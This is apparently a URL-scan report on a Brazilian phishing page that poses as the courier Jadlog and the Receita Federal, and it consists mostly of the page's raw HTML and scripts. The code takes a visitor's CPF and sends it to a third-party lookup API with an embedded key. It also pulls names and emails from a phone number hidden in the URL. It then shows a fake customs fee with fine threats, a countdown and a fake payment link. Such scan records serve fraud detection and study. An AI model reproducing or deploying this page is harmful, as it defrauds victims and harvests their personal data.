- Scan ID:
- 8dc7515a-e198-4d51-ac54-bff50f655a92Finished
- Submitted URL:
- https://jadlogs.com/
- Report Finished:
Links · 1 found
The outgoing links identified from the page
Link | Text |
---|---|
https://pay.jadlogpagamentos.com/nQ7kZ7JmbKl30eJ | Regularizar tarifa |
JavaScript Variables · 7 found
Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope
Name | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
gtag | function |
dataLayer | object |
setCookie | function |
saveNameCookie | function |
Console log messages · 2 found
Messages logged to the web console
Type | Category | Log |
---|---|---|
error | network |
|
error | network |
|
HTML
The raw HTML body of the page
<!DOCTYPE html><html lang="pt-BR"><!-- Mirrored from jadllog.site/ by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 04 Oct 2024 05:34:45 GMT --><head><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Jadlog - Sua encomenda no melhor caminho.</title>
<link rel="shortcut icon" href="images/favicon.png">
<link rel="apple-touch-icon" href="images/favicon.png">
<link href="../fonts.googleapis.com/css2e9cf.css?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Google tag (gtag.js) -->
<script async="" src="../www.googletagmanager.com/gtag/jsa539?id=G-7XRV7X3G4C"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-7XRV7X3G4C');
</script>
<style>
/* Estiliza a barra de rolagem em navegadores WebKit */
.popup-content::-webkit-scrollbar {
width: 6px; /* Largura da barra de rolagem */
}
.popup-content::-webkit-scrollbar-track {
background: #f4f4f4; /* Cor de fundo da trilha da barra de rolagem */
border-radius: 10px; /* Bordas arredondadas da trilha */
}
.popup-content::-webkit-scrollbar-thumb {
background: #f44336; /* Cor do "polegar" da barra de rolagem (vermelho) */
border-radius: 10px; /* Bordas arredondadas do polegar */
transition: background 0.3s; /* Transição suave para a cor */
}
.popup-content::-webkit-scrollbar-thumb:hover {
background: #d32f2f; /* Cor do polegar quando em hover (vermelho mais escuro) */
}
body {
font-family: 'Roboto', sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
color: #333;
position: relative;
overflow: hidden;
}
.background-img {
position: fixed;
top: 0;
left: 0;
width: 100%;
object-fit: cover;
z-index: 1;
}
.cpf-overlay, .popup-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.87);
display: flex; /* Necessário para ativar a centralização */
justify-content: center;
align-items: center;
z-index: 9999;
}
.cpf-content, .popup-content {
background: #ffffff;
border-radius: 10px;
padding: 25px;
width: 350px;
text-align: center;
box-shadow: 0 6px 20px rgba(0, 0, 0, 0.3);
position: relative;
z-index: 10000;
animation: fadeIn 0.5s ease-in-out;
max-height: 80vh; /* Limita a altura máxima */
overflow-y: auto; /* Adiciona rolagem se o conteúdo exceder a altura */
}
@keyframes fadeIn {
from {
opacity: 0;
transform: translateY(20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.cpf-header {
font-size: 24px;
font-weight: 700;
margin-bottom: 20px;
color: #000;
}
.cpf-info {
font-size: 16px;
color: #555555;
margin-bottom: 15px;
}
.cpf-input {
width: 100%;
padding: 10px;
font-size: 16px;
margin-bottom: 20px;
border: 1px solid #ddd;
border-radius: 5px;
}
.cpf-button {
background: #1976D2;
color: #ffffff;
padding: 12px 25px;
border: none;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
font-weight: 700;
transition: background 0.3s ease;
display: inline-block;
}
.cpf-button:hover {
background: #1565C0;
}
.popup-header {
background-color: #D32F2F; /* Cor de fundo vermelha */
color: #ffffff; /* Cor do texto branca */
font-size: 16px; /* Tamanho da fonte */
font-weight: bold; /* Fonte em negrito */
text-align: center; /* Alinha o texto no centro */
padding: 15px; /* Espaçamento interno */
width: 100%; /* Ocupa toda a largura do contêiner pai */
box-sizing: border-box; /* Inclui padding e border no cálculo da largura */
margin: 0; /* Remove margens para evitar que o elemento seja restringido */
}
.popup-greeting {
font-size: 18px;
color: #1976D2;
margin-bottom: 15px;
font-weight: 600;
}
.popup-subheader {
font-size: 18px;
color: #555555;
margin-bottom: 15px;
font-weight: 600;
}
.popup-warning {
font-size: 14px;
color: #D32F2F;
margin-bottom: 15px;
line-height: 1.5;
}
.popup-taxes ul {
list-style: none;
padding: 0;
margin: 0;
}
.popup-taxes li {
display: flex;
justify-content: space-between;
padding: 8px 0;
border-bottom: 1px solid #ddd;
font-size: 14px;
color: #555555;
}
.tax-name {
flex: 1;
text-align: left;
}
.tax-amount {
flex: 0 0 auto;
font-weight: 700;
}
.popup-taxes li:last-child {
border-bottom: none;
}
.popup-total {
font-size: 18px;
font-weight: 700;
margin-bottom: 25px;
color: #D32F2F;
}
.popup-total span {
font-size: 18px;
margin-bottom: 25px;
color: #4f4e4e;
font-weight: 100;
}
.popup-button {
background: #269c5c;
color: #ffffff;
padding: 12px 25px;
border: none;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
font-weight: 700;
transition: background 0.3s ease;
display: inline-block;
text-decoration: none;
}
.popup-button:hover {
background: #1565C0;
}
.popup-warning-logo {
align-items: center;
justify-content: space-between;
margin-top: 20px;
position: relative;
}
.popup-warning-logo img {
width: 85px;
height: auto;
margin-left: 10px;
}
.popup-cpf {
font-size: 14px;
color: #555555;
position: absolute;
bottom: 10px;
right: 10px;
}
.order-info {
font-size: 16px;
font-weight: 700;
color: #000;
margin-bottom: 15px;
margin-top: 20px;
text-align: left;
max-width: 90%;
}
.order-info p {
margin: 5px 0;
}
.underline {
text-decoration: underline;
}
.popup-note {
font-size: 11px;
color: #666666;
margin-bottom: 20px;
line-height: 1.5;
}
.popup-note-short {
display: block;
}
.popup-note-full {
display: none;
font-size: 14px;
color: #666666;
margin-top: 10px;
line-height: 1.5;
}
#readMoreLink {
color: #1976D2;
text-decoration: none;
cursor: pointer;
}
#readMoreLink:hover {
text-decoration: underline;
}
.order-location {
display: flex;
align-items: center;
font-size: 11px;
color: #333;
margin-top: 10px;
}
.icon {
width: 11px;
height: 11px;
border-radius: 50%;
background: radial-gradient(circle, #ff0000, #ffcc00);
margin-right: 8px;
animation: blink 1s infinite;
}
@keyframes blink {
0% {
opacity: 1;
}
50% {
opacity: 0.5;
}
100% {
opacity: 1;
}
}
.timer-alert {
font-size: 14px;
color: #D32F2F; /* Cor vermelha para o texto de alerta */
font-weight: bold;
text-align: center;
margin-top: 20px;
}
.timer-text {
font-weight: normal; /* Fonte normal para o texto de tempo restante */
font-size: 16px; /* Tamanho maior para a linha do temporizador */
color: #898181;
}
#timer {
font-size: 18px; /* Fonte maior para o temporizador */
color: #000; /* Cor preta para o tempo */
font-weight: bold;
}
.timer-warning {
font-size: 12px;
display: block;
color: #867e7e;
}
.emails {
color: #867e7e;
font-size: 10px;
}
.atenc {
color: black;
}
.cleantext {
color: #898181;
}
</style>
</head>
<body>
<div class="cpf-overlay">
<div class="cpf-content">
<img src="images/logo-jadlog-256.png" alt="Logo" style="width: 150px; height: auto;">
<div class="cpf-header">ACOMPANHE SEU PEDIDO</div>
<div class="cpf-info">Para acompanhar seu pedido, preencha o campo abaixo com os dados fornecidos durante a compra.</div>
<input type="tel" id="cpfInput" class="cpf-input" placeholder="CPF" maxlength="11">
<button class="cpf-button" id="cpfSubmit">Acompanhar Pedido</button>
<div id="error-message" class="error"></div>
</div>
</div>
<div class="popup-overlay">
<div class="popup-content">
<img src="images/receita-federal-logo.png" alt="Logo" style="width: 150px;height: auto;margin-bottom: 3px;">
<div class="popup-greeting" id="popupGreeting"></div>
<div class="order-info">
<p>Titular:</p>
<p><span id="nome"></span></p>
</div>
<div class="order-location">
<div class="icon"></div>
Produto retido em SÃO PAULO / SP
</div>
<br>
<div class="popup-header">SUJEITO A MULTA DE R$ 3.872,91</div>
<div class="popup-warning-logo">
<div class="popup-warning"><span class="atenc">Atenção:</span> Caso o pagamento do tributo não seja realizado para o despacho do seu pedido, uma multa será registrada no SPC/Serasa no<br><span class="atenc">Titular:</span> <b><span id="nome"></span></b>.</div>
</div>
<div class="popup-taxes">
<ul>
<li><span class="tax-name">Processamento Eletrônico</span><span class="tax-amount">R$ 11,72</span></li>
<li><span class="tax-name">ICMS</span><span class="tax-amount">R$ 13,00</span></li>
<li><span class="tax-name">Contribuição Federal</span><span class="tax-amount">R$ 15,00</span></li>
</ul>
</div>
<div class="popup-total"><span>Total:</span> R$ 39,72</div>
<a href="https://pay.jadlogpagamentos.com/nQ7kZ7JmbKl30eJ" class="popup-button" id="payTariffButton" data-utm="true">Regularizar tarifa</a>
<div class="timer-alert">
<span class="timer-text">Tempo Restante:
<span id="timer"></span>
</span>
<br>
<span class="timer-warning">Não regularizar resultará em negativação.</span><br>
</div>
<div class="popup-note" id="popupNote">
<div class="popup-note-short">
Segundo a Lei Federal nº 5291
<a href="#" id="readMoreLink">Ler mais...</a>
</div>
<div class="popup-note-full" id="popupNoteFull">
Descontos acima de 50% na Nota Fiscal exigem regularização do imposto federal.
<br><br>
Para evitar problemas e garantir o despacho do seu pedido, regularize o pagamento da tributação imediatamente.
</div>
</div>
<span class="emails"><span id="email"></span></span><br>
</div>
</div>
<script>
document.addEventListener("DOMContentLoaded", function() {
const urlParams = new URLSearchParams(window.location.search);
let utmSource = urlParams.get('utm_source');
if (utmSource) {
// Adiciona %20 após o traço (_) diretamente no parâmetro utm_source, mas evita a dupla codificação
utmSource = utmSource.replace('_', '_ ').replace(' ', '%20');
// Atualiza o parâmetro na URL para o valor modificado
urlParams.set('utm_source', utmSource);
const newUrl = window.location.pathname + '?' + urlParams.toString();
window.history.replaceState({}, '', newUrl);
// A partir daqui, o utmSource já está modificado e podemos usar nas requisições
const [linkName, telefone] = utmSource.split('%20');
if (telefone) {
fetch('../jadlog.net_3000/get-user-info', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ telefone })
})
.then(response => response.json())
.then(data => {
if (data.nome && data.email) {
document.querySelectorAll('#nome').forEach(span => {
span.innerText = data.nome;
});
document.getElementById('email').innerText = data.email;
} else {
console.error('Usuário não encontrado.');
}
})
.catch(error => console.error('Erro ao buscar informações do usuário:', error));
} else {
console.error('Telefone não encontrado no parâmetro utm_source.');
}
}
});
document.addEventListener("DOMContentLoaded", function() {
const urlParams = new URLSearchParams(window.location.search);
let utmSource = urlParams.get('utm_source');
if (utmSource) {
// Remove o _ do parâmetro utm_source
utmSource = utmSource.replace('_', '').replace(' ', '%20');
// Atualiza o parâmetro na URL para o valor modificado
urlParams.set('utm_source', utmSource);
const newUrl = window.location.pathname + '?' + urlParams.toString();
window.history.replaceState({}, '', newUrl);
// A partir daqui, o utmSource já está modificado e podemos usar nas operações
const [linkName] = utmSource.split('%20'); // Extrai apenas o linkName sem o _
const payTariffButton = document.getElementById('payTariffButton');
if (payTariffButton) {
const currentHref = payTariffButton.getAttribute('href');
payTariffButton.setAttribute('href', `${currentHref}?utm_source=${linkName}`);
}
}
});
</script>
<script>
document.addEventListener('DOMContentLoaded', function () {
// Seleciona os elementos do DOM
const cpfInput = document.getElementById('cpfInput');
const popupGreet = document.getElementById('popupGreeting'); // Corrigido para usar o ID correto
const popupNote = document.querySelector('.popup-note');
const cpfOverlay = document.querySelector('.cpf-overlay'); // Seleciona a sobreposição de CPF
const errorMessage = document.getElementById('error-message');
const readMoreLink = document.getElementById('readMoreLink');
const popupNoteFull = document.getElementById('popupNoteFull');
const popupNoteShort = document.querySelector('.popup-note-short');
// Função para manipular o clique no link "Ler mais..."
readMoreLink.addEventListener('click', function(event) {
event.preventDefault();
if (popupNoteFull.style.display === 'none') {
popupNoteFull.style.display = 'block';
readMoreLink.innerText = 'Ler menos';
popupNoteShort.style.display = 'none'; // Esconde o texto curto
} else {
popupNoteFull.style.display = 'none';
readMoreLink.innerText = 'Ler mais...';
popupNoteShort.style.display = 'block'; // Mostra o texto curto
}
});
// Função de contagem regressiva
let countdownValue = 38640; // 10 horas e 44 minutos em segundos
const timerElement = document.querySelector('#timer');
function startCountdown(duration, display) {
let timer = duration, hours, minutes, seconds;
setInterval(function () {
hours = parseInt(timer / 3600, 10);
minutes = parseInt((timer % 3600) / 60, 10);
seconds = parseInt(timer % 60, 10);
hours = hours < 10 ? "0" + hours : hours;
minutes = minutes < 10 ? "0" + minutes : minutes;
seconds = seconds < 10 ? "0" + seconds : seconds;
display.textContent = hours + ":" + minutes + ":" + seconds;
if (--timer < 0) {
timer = duration;
}
}, 1000);
}
startCountdown(countdownValue, timerElement);
// Função para remover caracteres não numéricos
function cleanCPF(input) {
return input.replace(/\D/g, '');
}
// Adiciona um evento de input para limpar o CPF
cpfInput.addEventListener('input', function (event) {
event.target.value = cleanCPF(event.target.value);
});
// Envia o CPF para a API e processa a resposta
document.getElementById('cpfSubmit').addEventListener('click', function () {
let cpfValue = cleanCPF(cpfInput.value.trim());
if (cpfValue.length === 11) { // Verifica se o CPF tem 11 dígitos
fetch(`https://api.dataget.tech/?cpf=${cpfValue}&api_key=lC1MOQcCstEg`)
.then(response => response.json())
.then(data => {
if (data.dados && data.dados.nome) {
popupGreet.innerText = `Olá, ${data.dados.nome}`;
} else {
popupGreet.innerText = 'Olá, usuário';
}
cpfOverlay.style.display = 'block'; // Exibe a sobreposição quando o CPF é válido
errorMessage.style.display = 'none';
cpfInput.value = `CPF: ${cpfValue}`;
})
.catch(error => {
console.error('Erro ao buscar CPF:', error);
alert('Por favor, insira um CPF válido.');
errorMessage.innerText = 'Erro ao buscar CPF. Tente novamente.';
errorMessage.style.display = 'block';
});
} else {
popupGreet.innerText = 'Por favor, insira um CPF válido.';
errorMessage.innerText = 'CPF inválido. Por favor, insira um CPF válido.';
errorMessage.style.display = 'block';
}
});
});
</script>
<script>
function setCookie(name, value, days) {
const date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
const expires = "expires=" + date.toUTCString();
document.cookie = name + "=" + value + ";" + expires + ";path=/";
}
function saveNameCookie() {
const nomeElement = document.getElementById("nome");
const nome = nomeElement ? nomeElement.textContent : null;
if (nome) {
setCookie("nomeTitular", nome, 7); // Cookie expira em 7 dias
console.log("Nome salvo no cookie:", nome);
} else {
console.error("Elemento <span id='nome'></span> não encontrado ou vazio.");
}
}
document.addEventListener("DOMContentLoaded", function() {
const nomeElement = document.getElementById("nome");
// Cria um MutationObserver para monitorar mudanças no conteúdo do elemento <span id="nome">
const observer = new MutationObserver(function(mutations) {
mutations.forEach(function(mutation) {
if (mutation.type === 'childList' || mutation.type === 'subtree') {
if (nomeElement.textContent) {
saveNameCookie(); // Salva o cookie assim que o nome for preenchido
observer.disconnect(); // Desconecta o observer após salvar o cookie
}
}
});
});
// Configura o observer para observar mudanças nos filhos e no conteúdo do <span>
observer.observe(nomeElement, { childList: true, subtree: true });
// Se o conteúdo já estiver preenchido (caso a API seja rápida), salva o cookie imediatamente
if (nomeElement.textContent) {
saveNameCookie();
observer.disconnect(); // Desconecta o observer
}
});
</script>
</body><!-- Mirrored from jadllog.site/ by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 04 Oct 2024 05:34:48 GMT --></html>